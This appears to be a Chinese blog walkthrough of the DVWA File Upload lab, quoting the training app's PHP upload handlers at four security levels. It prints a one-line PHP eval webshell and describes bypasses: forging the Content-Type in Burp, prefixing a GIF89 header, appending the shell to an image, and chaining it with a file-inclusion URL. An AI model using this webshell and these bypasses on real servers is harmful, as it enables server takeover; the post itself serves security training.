DVWA 之 File Upload 文件上传漏洞

一、漏洞概述

File Upload(文件上传漏洞)是指服务器对于上传的文件类型、内容等没有进行严格的过滤检查,使得攻击者可以上传木马文件,从而获得服务端的webshell权限。


二、工具

firefox,burp suite


三、测试过程

1、级别:low

贴上代码:

  1 <?php
  2 
  3 if( isset( $_POST[ 'Upload' ] ) ) {
  4     // Where are we going to be writing to?
  5     $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
  6     $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
  7 
  8     // Can we move the file to the upload folder?
  9     if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
 10         // No
 11         echo '<pre>Your image was not uploaded.</pre>';
 12     }
 13     else {
 14         // Yes!
 15         echo "<pre>{$target_path} succesfully uploaded!</pre>";
 16     }
 17 }
 18 
 19 ?>


这段代码对于上传文件的类型、内容等没有进行任何的过滤检查,直接将文件存储在 "hackable/uploads/" 路径下。因此我们可以直接上传一个一句话木马文件进行攻击。

<?php @eval($_POST['test']);?>

clipboard

得到URL:http://192.168.*.*/dvwa/hackable/uploads/1.php

使用蚁剑工具即可访问服务端文件目录:

qq_pic_merged_1586324883649

clipboard




2、级别:Medium

贴上代码:

  1 <?php
  2 
  3 if( isset( $_POST[ 'Upload' ] ) ) {
  4     // Where are we going to be writing to?
  5     $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
  6     $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
  7 
  8     // File information
  9     $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
 10     $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
 11     $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
 12 
 13     // Is it an image?
 14     if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
 15         ( $uploaded_size < 100000 ) ) {
 16 
 17         // Can we move the file to the upload folder?
 18         if( !move_uploaded_file( $_FILES[ 'uploaded' ][ 'tmp_name' ], $target_path ) ) {
 19             // No
 20             echo '<pre>Your image was not uploaded.</pre>';
 21         }
 22         else {
 23             // Yes!
 24             echo "<pre>{$target_path} succesfully uploaded!</pre>";
 25         }
 26     }
 27     else {
 28         // Invalid file
 29         echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
 30     }
 31 }
 32 
 33 ?>


Medium级别的代码对文件类型及大小进行了限制,此时再直接上传php文件则会上传失败,只允许上传jpeg及png类型的文件。

clipboard

我们使用burp suite进行抓包测试一下:

上传一个允许上传的文件:

clipboard

上传一个.php文件:

clipboard

对比两次上传抓到的数据包,发现两次的文件类型不同,我们尝试改变数据包中的文件类型并转发出去:

clipboard

发现文件上传成功:

clipboard

接下来就可以使用蚁剑或其他工具访问服务端文件目录。




3、级别:High

贴上代码:

  1 <?php
  2 
  3 if( isset( $_POST[ 'Upload' ] ) ) {
  4     // Where are we going to be writing to?
  5     $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
  6     $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] );
  7 
  8     // File information
  9     $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
 10     $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
 11     $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
 12     $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];
 13 
 14     // Is it an image?
 15     if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) &&
 16         ( $uploaded_size < 100000 ) &&
 17         getimagesize( $uploaded_tmp ) ) {
 18 
 19         // Can we move the file to the upload folder?
 20         if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
 21             // No
 22             echo '<pre>Your image was not uploaded.</pre>';
 23         }
 24         else {
 25             // Yes!
 26             echo "<pre>{$target_path} succesfully uploaded!</pre>";
 27         }
 28     }
 29     else {
 30         // Invalid file
 31         echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
 32     }
 33 }
 34 
 35 ?>


可以看到High级别的代码中使用了getimagesize()函数,这个函数会读取目标文件的16进制的前几个字符串来判定文件是什么类型。

因此我们可以伪造文件头部来绕过此判定:

  1 GIF89
  2 <?php @eval($_POST['test']);?>

同时将文件命名为1.jpg。再次上传显示成功:

clipboard

另一种方法可借助cmd命令将我们的木马文件隐藏在图片的后面:

clipboard

用记事本打开新生成的文件可以看到我们的木马加在了最后面:

clipboard

此时即可成功上传。

但是我们再利用蚁剑工具时发现不能连接,需要让他作为php文件进行解析。

因此我们配合文件包含漏洞使图片格式的一句话木马以php格式运行。

构造URL:

http://192.168.*.*/dvwa/vulnerabilities/fi/?page=file:///F:/phpStudy/PHPTutorial/WWW/dvwa/hackable/uploads/3.jpg

clipboard

成功包含木马文件,此时再使用其他工具进行攻击即可。




4.级别:Impossible

贴上代码:

  1 <?php
  2 
  3 if( isset( $_POST[ 'Upload' ] ) ) {
  4     // Check Anti-CSRF token
  5     checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
  6 
  7 
  8     // File information
  9     $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
 10     $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
 11     $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
 12     $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ];
 13     $uploaded_tmp  = $_FILES[ 'uploaded' ][ 'tmp_name' ];
 14 
 15     // Where are we going to be writing to?
 16     $target_path   = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';
 17     //$target_file   = basename( $uploaded_name, '.' . $uploaded_ext ) . '-';
 18     $target_file   =  md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
 19     $temp_file     = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );
 20     $temp_file    .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext;
 21 
 22     // Is it an image?
 23     if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&
 24         ( $uploaded_size < 100000 ) &&
 25         ( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
 26         getimagesize( $uploaded_tmp ) ) {
 27 
 28         // Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)
 29         if( $uploaded_type == 'image/jpeg' ) {
 30             $img = imagecreatefromjpeg( $uploaded_tmp );
 31             imagejpeg( $img, $temp_file, 100);
 32         }
 33         else {
 34             $img = imagecreatefrompng( $uploaded_tmp );
 35             imagepng( $img, $temp_file, 9);
 36         }
 37         imagedestroy( $img );
 38 
 39         // Can we move the file to the web root from the temp folder?
 40         if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {
 41             // Yes!
 42             echo "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>";
 43         }
 44         else {
 45             // No
 46             echo '<pre>Your image was not uploaded.</pre>';
 47         }
 48 
 49         // Delete any temp files
 50         if( file_exists( $temp_file ) )
 51             unlink( $temp_file );
 52     }
 53     else {
 54         // Invalid file
 55         echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>';
 56     }
 57 }
 58 
 59 // Generate Anti-CSRF token
 60 generateSessionToken();
 61 
 62 ?>

Impossible级别代码中对上传的文件以md5进行了重命名,使用00截断无法绕过过滤规则,并使用Anti-CSRF token防护CSRF攻击,还对文件内容进行严格的检查过滤,攻击者无法进行文件上传漏洞攻击。

posted @ 2020-04-08 17:14  何包蛋  阅读(681)  评论(0编辑  收藏  举报